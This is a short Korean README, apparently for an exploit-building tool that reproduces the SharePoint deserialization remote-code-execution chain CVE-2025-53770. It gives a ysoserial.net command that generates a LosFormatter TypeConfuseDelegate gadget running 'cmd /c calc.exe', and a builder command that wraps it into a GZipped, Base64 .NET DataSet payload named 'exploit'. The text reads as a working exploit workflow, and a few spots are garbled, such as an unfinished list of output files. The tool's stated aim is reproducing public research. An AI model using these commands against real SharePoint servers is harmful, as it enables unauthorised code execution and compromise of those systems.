
SharePoint 역직렬화 RCE 체인(CVE-2025-53770)을 재현하기 위해 LosFormatter를 사용하여 GZipped, Base64 인코딩된 .NET DataSet 페이로드를 빌드하는 C# 도구입니다.
이것은 LosFormatter로 인코딩된 내부 페이로드를 사용하여 GZip 압축 및 Base64 인코딩된 .NET DataSet 페이로드를 빌드하는 간단한 C# 도구입니다. 공개 연구에 설명된 SharePoint 역직렬화 RCE 체인을 재현하는 데 도움을 주기 위해 설계되었습니다.
Base64로 인코딩된 페이로드(예: ysoserial.net의 페이로드)를 제공하면 도구가 다음을 수행합니다:
.b64 파일에 씁니다먼저 ysoserial.net을 사용하여 페이로드를 생성합니다:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
그런 다음 이 도구를 실행합니다:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
그러면 다음 파일이 생성됩니다:
또한 --a, --b 또는 --c를 지정하지 않으면 도구가 무작위 소문자 이름을 생성합니다.
참고사항
이 도구는 제공된 페이로드를 검증하거나 검사하지 않습니다.
로컬에서 테스트하고 수동으로 역직렬화하는 경우 실행될 수 있습니다(예: 계산기 팝업).`